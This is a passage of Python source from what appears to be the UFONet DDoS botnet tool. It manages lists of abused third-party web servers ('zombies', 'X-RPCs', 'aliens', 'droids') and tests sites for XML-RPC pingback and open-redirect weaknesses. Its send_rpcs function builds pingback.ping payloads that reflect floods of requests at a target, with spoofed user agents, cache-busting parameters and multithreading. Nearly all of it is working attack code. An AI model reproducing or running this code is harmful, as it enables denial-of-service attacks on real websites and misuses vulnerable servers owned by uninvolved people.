  2709. print "[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]"
  2710. return #sys.exit(2)
  2711. def discarding_rpcs(self, rpc, rpcs):
  2712. if rpc in self.discard_rpcs:
  2713. rpcs.remove(rpc)
  2714. if self.options.verbose:
  2715. print("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]")
  2716. return rpcs
  2717. def send_rpcs(self, rpcs):
  2718. # extract vulnerable XML-RPC pingback services and perform requests against target
  2719. time.sleep(4) # aiming (multi-threading flow time compensation)
  2720. if not self.options.disablepurge:
  2721. if not rpcs: # return when not any working
  2722. self.options.disablerpcs = True
  2723. return
  2724. target = self.options.target
  2725. options = self.options
  2726. def random_key(length):
  2727. key = ''
  2728. for i in range(length):
  2729. key += random.choice(string.lowercase + string.uppercase + string.digits)
  2730. return key
  2731. shuffle(rpcs) # shuffle rpcs
  2732. if not self.options.disablepurge:
  2733. for rpc in rpcs:
  2734. if not rpc.startswith('http'): # discarded inmediately
  2735. if not self.options.disablepurge:
  2736. self.discard_rpcs.append(rpc)
  2737. self.num_discard_rpcs = self.num_discard_rpcs + 1
  2738. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2739. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  2740. if not self.options.disablepurge:
  2741. if not rpcs: # return when not any working
  2742. self.options.disablerpcs = True
  2743. return
  2744. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  2745. for rpc in rpcs:
  2746. t = urlparse(rpc)
  2747. name_rpc = t.netloc
  2748. if name_rpc == "":
  2749. name_rpc = rpc
  2750. print "[Info] [X-RPCs] Attacking from: " + name_rpc
  2751. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2752. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2753. key = random_key(8) # generate random value page to bypass cache
  2754. rpc_page = "?" + str(key)
  2755. key = random_key(6) # re-generate random value id to bypass cache
  2756. rpc_id = "=" + str(key)
  2757. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  2758. if "/xmlrpc.php" in rpc:
  2759. rpc_place = rpc.replace("xmlrpc.php", "")
  2760. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  2761. try:
  2762. if options.proxy: # set proxy
  2763. self.proxy_transport(options.proxy)
  2764. if self.options.timeout: # set timeout
  2765. try:
  2766. rpc_timeout = int(self.options.timeout)
  2767. except:
  2768. rpc_timeout = 1
  2769. else:
  2770. rpc_timeout = 1
  2771. if rpc_timeout < 1:
  2772. rpc_timeout = 1
  2773. req = urllib2.Request(rpc, rpc_exploit, headers)
  2774. urllib2.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  2775. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  2776. if self.options.verbose:
  2777. print "[Info] [X-RPCs] Reply:", target_reply
  2778. except:
  2779. print "[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)"
  2780. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2781. if not self.options.disablepurge:
  2782. self.discard_rpcs.append(rpc)
  2783. self.num_discard_rpcs = self.num_discard_rpcs + 1
  2784. else:
  2785. print "[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)"
  2786. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2787. if not self.options.disablepurge:
  2788. self.discard_rpcs.append(rpc)
  2789. self.num_discard_rpcs = self.num_discard_rpcs + 1
  2790. if self.options.verbose:
  2791. print "[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning..."
  2792. if self.options.disableucavs:
  2793. self.extra_zombies_lock = False # [ARMY] have finished
  2794. def extract_rpcs(self):
  2795. # extract rpcs from file
  2796. options = self.options
  2797. try:
  2798. f = open(self.rpcs_file)
  2799. rpcs = f.readlines()
  2800. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  2801. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  2802. f.close()
  2803. if not rpcs:
  2804. print "[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]"
  2805. self.options.disablerpcs = True
  2806. return
  2807. else:
  2808. return rpcs
  2809. except:
  2810. if os.path.exists(self.rpcs_file) == True:
  2811. print "[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]"
  2812. return
  2813. else:
  2814. print "[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]"
  2815. return
  2816. def extract_zombies(self):
  2817. options = self.options
  2818. if self.options.test:
  2819. try:
  2820. f = open(options.test)
  2821. zombies = f.readlines()
  2822. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2823. f.close()
  2824. if not zombies:
  2825. print "\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2826. return
  2827. else:
  2828. return zombies
  2829. except:
  2830. if os.path.exists(options.test) == True:
  2831. print "\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2832. return #sys.exit(2)
  2833. else:
  2834. print "\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2835. return #sys.exit(2)
  2836. else:
  2837. try:
  2838. f = open(self.zombies_file)
  2839. zombies = f.readlines()
  2840. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2841. f.close()
  2842. if not zombies:
  2843. print "\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2844. return
  2845. else:
  2846. return zombies
  2847. except:
  2848. if os.path.exists(self.zombies_file) == True:
  2849. print "\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2850. return #sys.exit(2)
  2851. else:
  2852. print "\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2853. return #sys.exit(2)
  2854. def extract_target_list(self):
  2855. options = self.options
  2856. try:
  2857. f = open(options.target_list)
  2858. targets = f.readlines()
  2859. targets = [ target.replace('\n','') for target in targets ]
  2860. f.close()
  2861. if not targets:
  2862. print "\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n"
  2863. return
  2864. else:
  2865. return targets
  2866. except:
  2867. if os.path.exists(options.target_list) == True:
  2868. print "\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n"
  2869. return #sys.exit(2)
  2870. else:
  2871. print "\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n"
  2872. return #sys.exit(2)
  2873. def update_zombies(self, zombies_ready):
  2874. # update zombies on file
  2875. options = self.options
  2876. if options.attackme:
  2877. f = open(self.zombies_file, "w") # re-write list
  2878. for zombie in self.doll.real_zombies: # add only alien verified zombies
  2879. for x in zombie:
  2880. f.write(str(x) + os.linesep)
  2881. f.close()
  2882. if options.test or options.testall:
  2883. if not options.test:
  2884. options.test = self.zombies_file
  2885. f = open(options.test, "w") # re-write list only with zombies ready
  2886. for zombie in zombies_ready:
  2887. f.write(zombie + os.linesep)
  2888. f.close()
  2889. if options.search or options.dorks or options.autosearch or options.download: # append only new zombies to list (dorking supported)
  2890. f = open(self.zombies_file)
  2891. zombies_on_file = f.read().splitlines()
  2892. with open(self.zombies_file, "a") as zombie_list:
  2893. for zombie in zombies_ready:
  2894. if zombie not in zombies_on_file: # parse possible repetitions
  2895. zombie_list.write(zombie + os.linesep)
  2896. if options.download:
  2897. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2898. else:
  2899. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  2900. f.close()
  2901. def update_aliens(self, aliens_ready):
  2902. # update aliens on file
  2903. options = self.options
  2904. if options.download: # append only new aliens to list
  2905. f = open(self.aliens_file)
  2906. aliens_on_file = f.read().splitlines()
  2907. with open(self.aliens_file, "a") as alien_list:
  2908. for alien in aliens_ready:
  2909. if alien not in aliens_on_file: # parse possible repetitions
  2910. alien_list.write(alien + os.linesep)
  2911. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2912. f.close()
  2913. def update_droids(self, droids_ready):
  2914. # update droids on file
  2915. options = self.options
  2916. if options.download: # append only new droids to list
  2917. f = open(self.droids_file)
  2918. droids_on_file = f.read().splitlines()
  2919. with open(self.droids_file, "a") as droid_list:
  2920. for droid in droids_ready:
  2921. if droid not in droids_on_file: # parse possible repetitions
  2922. droid_list.write(droid + os.linesep)
  2923. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2924. f.close()
  2925. def update_ucavs(self, ucavs_ready):
  2926. # update ucavs on file
  2927. options = self.options
  2928. if options.download: # append only new ucavs to list
  2929. f = open(self.ucavs_file)
  2930. ucavs_on_file = f.read().splitlines()
  2931. with open(self.ucavs_file, "a") as ucav_list:
  2932. for ucav in ucavs_ready:
  2933. if ucav not in ucavs_on_file: # parse possible repetitions
  2934. ucav_list.write(ucav + os.linesep)
  2935. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2936. f.close()
  2937. def update_rpcs(self, rpcs_ready):
  2938. # update rpcs on file
  2939. options = self.options
  2940. if options.testrpc or options.testall:
  2941. f = open(self.rpcs_file, "w") # re-write list
  2942. for rpc in rpcs_ready: # add only rpc verified zombies
  2943. f.write(rpc + os.linesep)
  2944. f.close()
  2945. if options.download: # append only new rpcs to list
  2946. f = open(self.rpcs_file)
  2947. rpcs_on_file = f.read().splitlines()
  2948. with open(self.rpcs_file, "a") as rpc_list:
  2949. for rpc in rpcs_ready:
  2950. if rpc not in rpcs_on_file: # parse possible repetitions
  2951. rpc_list.write(rpc + os.linesep)
  2952. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2953. f.close()
  2954. def search_rpc(self, rpc_host):
  2955. options = self.options
  2956. rpc_vulnerable = False
  2957. rpc_pingback_url = False
  2958. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2959. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2960. try:
  2961. if self.options.testall: # testing_all
  2962. if options.proxy: # set proxy
  2963. self.proxy_transport(options.proxy)
  2964. req = urllib2.Request(rpc_host, None, headers)
  2965. rpc_code = urllib2.urlopen(req, context=self.ctx).read()
  2966. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  2967. for link in rpc_links:
  2968. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  2969. rpc_pingback_url = link[0]
  2970. rpc_vulnerable = True
  2971. break # found it!
  2972. else: # not any XML-RPC discovering methods are working
  2973. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  2974. rpc_vulnerable = False
  2975. else:
  2976. if rpc_host.startswith("http://"):
  2977. rpc_host = rpc_host.replace("http://", "")
  2978. if rpc_host.startswith("https://"):
  2979. rpc_host = rpc_host.replace("https://", "")
  2980. rpc_host = urlparse(rpc_host)
  2981. rpc_path = rpc_host.path.replace("\r", "")
  2982. self.head = True # send HTTP HEAD request searching for: X-Pingback
  2983. reply = self.connect_zombie(rpc_path)
  2984. self.head = False
  2985. if "X-Pingback" in reply: # discovering pingback-enabled resources
  2986. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  2987. rpc_pingback_url = m.group(1) # extract rpc server url
  2988. rpc_vulnerable = True
  2989. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  2990. if options.proxy: # set proxy
  2991. self.proxy_transport(options.proxy)
  2992. req_rpc = urllib2.Request(rpc_host, None, headers)
  2993. req_rpc.get_method = lambda : 'GET'
  2994. rpc_code = urllib2.urlopen(req_rpc, context=self.ctx).read()
  2995. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  2996. for link in rpc_links:
  2997. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  2998. rpc_pingback_url = link[0]
  2999. rpc_vulnerable = True
  3000. break # found it!
  3001. else: # not any XML-RPC discovering methods are working
  3002. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3003. rpc_vulnerable = False
  3004. except: # something wrong discovering XML-RPC Pingback
  3005. pass
  3006. return rpc_vulnerable, rpc_pingback_url
  3007. def testing_offline(self):
  3008. # check for zombies offline
  3009. print ("\nChecking for [Zombies] offline!\n")
  3010. print '='*35
  3011. zombies_online = 0
  3012. zombies_offline = 0
  3013. zombies = self.extract_zombies()
  3014. rpcs = self.extract_rpcs()
  3015. aliens = self.extract_aliens()
  3016. droids = self.extract_droids()
  3017. ucavs = self.extract_ucavs()
  3018. try:
  3019. botnet = zombies + rpcs + aliens + droids + ucavs
  3020. except:
  3021. return
  3022. discarded = [] # for discarded zombies
  3023. if not botnet:
  3024. return
  3025. self.head = True
  3026. for zombie in botnet:
  3027. zombie = str(zombie)
  3028. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  3029. zombie_type = 'Zombie'
  3030. elif zombie in rpcs:
  3031. zombie_type = 'XML-RPC'
  3032. elif zombie in aliens:
  3033. zombie_type = 'Alien'
  3034. elif zombie in droids:
  3035. zombie_type = 'Droid'
  3036. elif zombie in ucavs:
  3037. zombie_type = 'UCAV'
  3038. t = urlparse(zombie)
  3039. name_zombie = t.netloc
  3040. if name_zombie == "":
  3041. name_zombie = zombie
  3042. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  3043. sep = ';$POST;'
  3044. zombie = zombie.split(sep, 1)[0]
  3045. reply = str(self.connect_zombie(zombie))
  3046. if reply == "200" or reply == "302" or reply == "301" or reply == "401" or reply == "403" or reply == "405" or reply == '500':
  3047. status = "ONLINE!"
  3048. zombies_online = zombies_online + 1
  3049. else:
  3050. status = "NOT Working!"
  3051. zombies_offline = zombies_offline + 1
  3052. print "\nName:", name_zombie
  3053. print "Type: [", zombie_type, "]"
  3054. print "Vector:", zombie
  3055. print "HTTP Code:", reply
  3056. print "STATUS:", status
  3057. print '-'*21
  3058. if status == "NOT Working!": # add to discarded zombies
  3059. if zombie not in discarded:
  3060. discarded.append(zombie)
  3061. print "\n" + '='*52
  3062. print "\n+ Total Botnet:", len(botnet)
  3063. print "\n" + '-'*25 + "\n"
  3064. print " - ONLINE:", zombies_online
  3065. print " - OFFLINE:", zombies_offline, "\n"
  3066. print '='*52 + '\n'
  3067. self.head = False
  3068. if zombies_offline > 0:
  3069. if not self.options.forceyes:
  3070. test_reply = raw_input("[AI] Do you want to update your army? (Y/n)\n")
  3071. print '-'*25 + "\n"
  3072. else:
  3073. test_reply = "Y"
  3074. if test_reply == "n" or test_reply == "N":
  3075. print "[AI] "+self.exit_msg+"\n"
  3076. return
  3077. else:
  3078. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3079. print '='*52
  3080. print "\n - DISCARDED:", disc_zombies
  3081. new_botnet = int(len(botnet) - disc_zombies)
  3082. print "\n+ New Total Botnet:", str(new_botnet), "\n"
  3083. print '='*52 + '\n'
  3084. else:
  3085. print "[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n"
  3086. def send_extra_zombies(self):
  3087. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  3088. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3089. if self.options.verbose:
  3090. print "[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons..."
  3091. aliens = [self.extract_aliens()] # extract aliens from file to a list
  3092. for a in aliens:
  3093. if a is None:
  3094. self.options.disablealiens = True
  3095. self.total_aliens = 0 # not any alien invoked
  3096. else:
  3097. for s in a: # extract number of aliens
  3098. self.total_aliens = self.total_aliens + 1
  3099. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  3100. al.start()
  3101. else:
  3102. self.options.disablealiens = True
  3103. self.total_aliens = 0 # not any alien invoked
  3104. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3105. if self.options.verbose:
  3106. print "[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons..."
  3107. droids = [self.extract_droids()] # extract droids from file to a list
  3108. for d in droids:
  3109. if d is None:
  3110. self.options.disabledroids = True
  3111. self.total_droids = 0 # not any droid invoked
  3112. else:
  3113. for s in d: # extract number of droids
  3114. self.total_droids = self.total_droids + 1
  3115. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  3116. dr.start()
  3117. else:
  3118. self.options.disabledroids = True
  3119. self.total_droids = 0 # not any droid invoked
  3120. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3121. if self.options.verbose:
  3122. print "[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons..."
  3123. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  3124. for r in rpcs:
  3125. if r is None:
  3126. self.options.disablerpcs = True
  3127. self.total_rpcs = 0 # not any rpc invoked
  3128. else:
  3129. for s in r: # extract number of rpcs
  3130. self.total_rpcs = self.total_rpcs + 1
  3131. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  3132. rp.start()
  3133. else:
  3134. self.options.disablerpcs = True
  3135. self.total_rpcs = 0 # not any rpcs invoked
  3136. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  3137. if self.options.verbose:
  3138. print "[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners..."
  3139. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  3140. for u in ucavs:
  3141. if u is None:
  3142. self.options.disableucavs = True
  3143. self.total_ucavs = 0 # not any ucav invoked
  3144. else:
  3145. for s in u: # extract number of ucavs
  3146. self.total_ucavs = self.total_ucavs + 1
  3147. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  3148. uc.start()
  3149. else:
  3150. self.options.disableucavs = True
  3151. self.total_ucavs = 0 # not any ucavs invoked
  3152. def abandoning_zombies(self):
  3153. if self.options.expire: # set timing for purge
  3154. try:
  3155. timing = int(self.options.expire)
  3156. except:
  3157. timing = self.expire_timing # default timing for purge
  3158. else:
  3159. timing = self.expire_timing # default timing for purge
  3160. if timing < 1:
  3161. timing = self.expire_timing # default timing for purge
  3162. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3163. zombies_lock = 0
  3164. if self.options.verbose:
  3165. print "[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return..."
  3166. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  3167. zombies_lock = zombies_lock + 1
  3168. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3169. if self.options.verbose:
  3170. print "\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]"
  3171. break
  3172. else:
  3173. time.sleep(1)
  3174. def discard_zombies(self, discarded):
  3175. disc_zombies = 0
  3176. if self.options.testoffline:
  3177. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  3178. else:
  3179. zombies_list = [self.zombies_file]
  3180. if not self.options.disablealiens: # add aliens
  3181. zombies_list.append(self.aliens_file)
  3182. if not self.options.disabledroids: # add droids
  3183. zombies_list.append(self.droids_file)
  3184. if not self.options.disablerpcs: # add rpcs
  3185. zombies_list.append(self.rpcs_file)
  3186. if not self.options.disableucavs: # add ucavs
  3187. zombies_list.append(self.ucavs_file)
  3188. for l in zombies_list:
  3189. f = open(l, "r+")
  3190. d = f.readlines()
  3191. f.close()
  3192. f = open(l, "w")
  3193. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  3194. f.close()
  3195. return disc_zombies
  3196. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  3197. m = []
  3198. for zombie in d:
  3199. if zombie not in discarded == True:
  3200. m.append(zombie) # save it
  3201. else:
  3202. disc_zombies = disc_zombies + 1
  3203. if not m:
  3204. f.write("")
  3205. else:
  3206. for z in m:
  3207. f.write(z+os.linesep)
  3208. return disc_zombies
  3209. def testing_rpcs(self, rpcs):
  3210. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  3211. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  3212. options = self.options
  3213. if self.options.testall: #testing_all
  3214. print '='*51
  3215. print ("Are 'plasma' reflectors ready? :-) (XML-RPC Check):")
  3216. print '='*51
  3217. num_active_rpcs = 0
  3218. num_failed_rpcs = 0
  3219. rpcs_ready = []
  3220. print "Trying:", len(rpcs)
  3221. print '-'*21
  3222. for rpc in rpcs:
  3223. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3224. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3225. if rpc.startswith("http://") or rpc.startswith("https://"):
  3226. print "[Info] [X-RPCs] Searching 'Pingback' on", rpc
  3227. rpc_host = rpc.replace("/xmlrpc.php", "")
  3228. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  3229. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  3230. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  3231. try:
  3232. if options.proxy: # set proxy
  3233. self.proxy_transport(options.proxy)
  3234. req = urllib2.Request(rpc_pingback_url, rpc_methods, headers)
  3235. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  3236. if self.options.verbose:
  3237. print "[Info] [X-RPCs] Reply:", target_reply
  3238. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  3239. print "\n[Info] [AI] It looks VULNERABLE! ;-)"
  3240. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  3241. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  3242. else:
  3243. print "\n[Info] [AI] It is NOT vulnerable..."
  3244. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  3245. except:
  3246. print "[Info] [X-RPCs] " + rpc + " -> FAILED (cannot connect!)"
  3247. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  3248. else:
  3249. print "\n[Info] [AI] It is NOT vulnerable..."
  3250. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  3251. print '-'*10
  3252. print '='*18
  3253. print "OK:", num_active_rpcs, "Fail:", num_failed_rpcs
  3254. print '='*18
  3255. if self.options.testall: # testing_all
  3256. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  3257. else:
  3258. # update 'rpcs' list
  3259. if num_active_rpcs == 0:
  3260. print "\n[Info] [X-RPCs] Not any vulnerable 'rpc' active!\n"
  3261. return
  3262. else:
  3263. if not self.options.forceyes:
  3264. update_reply = raw_input("[AI] Do you want to update your army? (Y/n)")
  3265. print '-'*25
  3266. else:
  3267. update_reply = "Y"
  3268. if update_reply == "n" or update_reply == "N":
  3269. print "[AI] "+self.exit_msg+"\n"
  3270. return
  3271. else:
  3272. self.update_rpcs(rpcs_ready)
  3273. if not self.options.upload:
  3274. print "\n[Info] [AI] Botnet updated! -> ;-)\n"
  3275. def testing(self, zombies):
  3276. # test Open Redirect vulnerabilities on webapps and show statistics
  3277. # HTTP HEAD check
  3278. army = 0
  3279. print ("Are 'they' alive? :-) (HEAD Check):")
  3280. print '='*35
  3281. num_active_zombies = 0
  3282. num_failed_zombies = 0
  3283. active_zombies = []
  3284. print "Trying:", len(zombies)
  3285. print '-'*21
  3286. for zombie in zombies:
  3287. zombie = str(zombie)
  3288. if zombie.startswith("http://") or zombie.startswith("https://"):
  3289. # send HEAD connection
  3290. self.head = True
  3291. self.connect_zombies(zombie)
  3292. while self.herd.no_more_zombies() == False:
  3293. time.sleep(1)
  3294. for zombie in self.herd.done:
  3295. zombie = str(zombie)
  3296. t = urlparse(zombie)
  3297. if self.herd.get_result(zombie):
  3298. code_reply = self.herd.get_result(zombie)
  3299. self.head = False
  3300. if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405":
  3301. name_zombie = t.netloc
  3302. if name_zombie == "":
  3303. name_zombie = zombie
  3304. print "Zombie:", name_zombie
  3305. print "Status: OK ["+ code_reply + "]"
  3306. num_active_zombies = num_active_zombies + 1
  3307. active_zombies.append(zombie)
  3308. elif code_reply == "404":
  3309. print "Zombie:", t.netloc
  3310. print "Status: Not Found ["+ code_reply + "]"
  3311. num_failed_zombies = num_failed_zombies + 1
  3312. else:
  3313. print "Zombie:", t.netloc, "\nVector:", zombie
  3314. print "Status: Not Allowed ["+ code_reply + "]"
  3315. num_failed_zombies = num_failed_zombies + 1
  3316. else:
  3317. if self.options.verbose:
  3318. print "[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n"
  3319. print "Zombie:", zombie
  3320. print "Status: Malformed!"
  3321. num_failed_zombies = num_failed_zombies + 1
  3322. print '-'*10
  3323. self.herd.reset()
  3324. print '='*18
  3325. print "OK:", num_active_zombies, "Fail:", num_failed_zombies
  3326. print '='*18 + "\n"
  3327. print '='*22
  3328. if num_active_zombies > 0:
  3329. # check url parameter vectors
  3330. print ("Checking for payloads:")
  3331. print '='*22
  3332. print "Trying:", num_active_zombies
  3333. print '-'*21
  3334. zombies_ready = []
  3335. num_waiting_zombies = 0
  3336. if num_active_zombies == 0:
  3337. num_disconnected_zombies = num_failed_zombies
  3338. else:
  3339. num_disconnected_zombies = 0
  3340. for zombie in active_zombies:
  3341. zombie = str(zombie)
  3342. t = urlparse(zombie)
  3343. name_zombie = t.netloc
  3344. if name_zombie == "":
  3345. name_zombie = zombie
  3346. self.payload = True
  3347. self.connect_zombies(zombie)
  3348. self.payload = False
  3349. while self.herd.no_more_zombies() == False:
  3350. time.sleep(1)
  3351. for zombie in self.herd.done:
  3352. zombie = str(zombie)
  3353. t = urlparse(zombie)
  3354. name_zombie = t.netloc
  3355. if name_zombie == "":
  3356. name_zombie = zombie
  3357. payload_zombie = zombie
  3358. payload_reply = ""
  3359. print "Vector:", payload_zombie
  3360. self.payload = True
  3361. if self.herd.get_result(zombie):
  3362. payload_reply = self.herd.get_result(zombie)
  3363. self.payload = False
  3364. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  3365. num_waiting_zombies = num_waiting_zombies + 1
  3366. print "Status:", "Waiting for orders... ;-)"
  3367. zombies_ready.append(zombie)
  3368. else:
  3369. num_disconnected_zombies = num_disconnected_zombies + 1
  3370. print "Status:", "Not ready..."
  3371. army = army + 1
  3372. print '-'*10
  3373. self.herd.reset()
  3374. print '='*18
  3375. print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies
  3376. print '='*18 + "\n"
  3377. # list of [Zombies] ready to attack
  3378. num_active_zombie = 0
  3379. for z in zombies_ready:
  3380. t = urlparse(z)
  3381. name_zombie = t.netloc
  3382. if name_zombie == "":
  3383. name_zombie = z
  3384. num_active_zombie = num_active_zombie + 1
  3385. if self.options.verbose:
  3386. print "Zombie [", num_active_zombie, "]:", name_zombie + "\n"
  3387. if self.options.testall: # testing_all
  3388. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  3389. else:
  3390. print '-'*25 + "\n"
  3391. print '='*24
  3392. print "Working [Zombies]:", num_active_zombie
  3393. print '='*24
  3394. if not self.options.forceyes:
  3395. update_reply = raw_input("\n[AI] Do you want to update your army? (Y/n)")
  3396. print '-'*25
  3397. else:
  3398. update_reply = "Y"
  3399. if update_reply == "n" or update_reply == "N":
  3400. print "[AI] "+self.exit_msg+"\n"
  3401. return
  3402. else:
  3403. self.update_zombies(zombies_ready)
  3404. if not self.options.upload:
  3405. print "\n[Info] [AI] Botnet updated! -> ;-)\n"
  3406. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  3407. else:
  3408. print '-'*25 + "\n"
  3409. print '='*24
  3410. print "Working [Zombies]:", num_active_zombies
  3411. print '='*24
  3412. print "\n[Info] [AI] [Zombies] aren't replying to your HEAD check! -> [Exiting!]\n"
  3413. def testing_all(self):
  3414. # test whole botnet
  3415. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  3416. print '='*35
  3417. zombies = self.extract_zombies()
  3418. rpcs = self.extract_rpcs()
  3419. aliens = self.extract_aliens()
  3420. droids = self.extract_droids()
  3421. ucavs = self.extract_ucavs()
  3422. try:
  3423. botnet = zombies + rpcs + aliens + droids + ucavs
  3424. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  3425. except:
  3426. return
  3427. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  3428. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  3429. print "\n" + '='*52
  3430. print "\n+ Total Botnet:", len(botnet)
  3431. print "\n" + '-'*25
  3432. print "\n+ Total Tested:", len(tested_zombies)
  3433. print "\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]"
  3434. print " - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n"
  3435. print '='*52 + '\n'
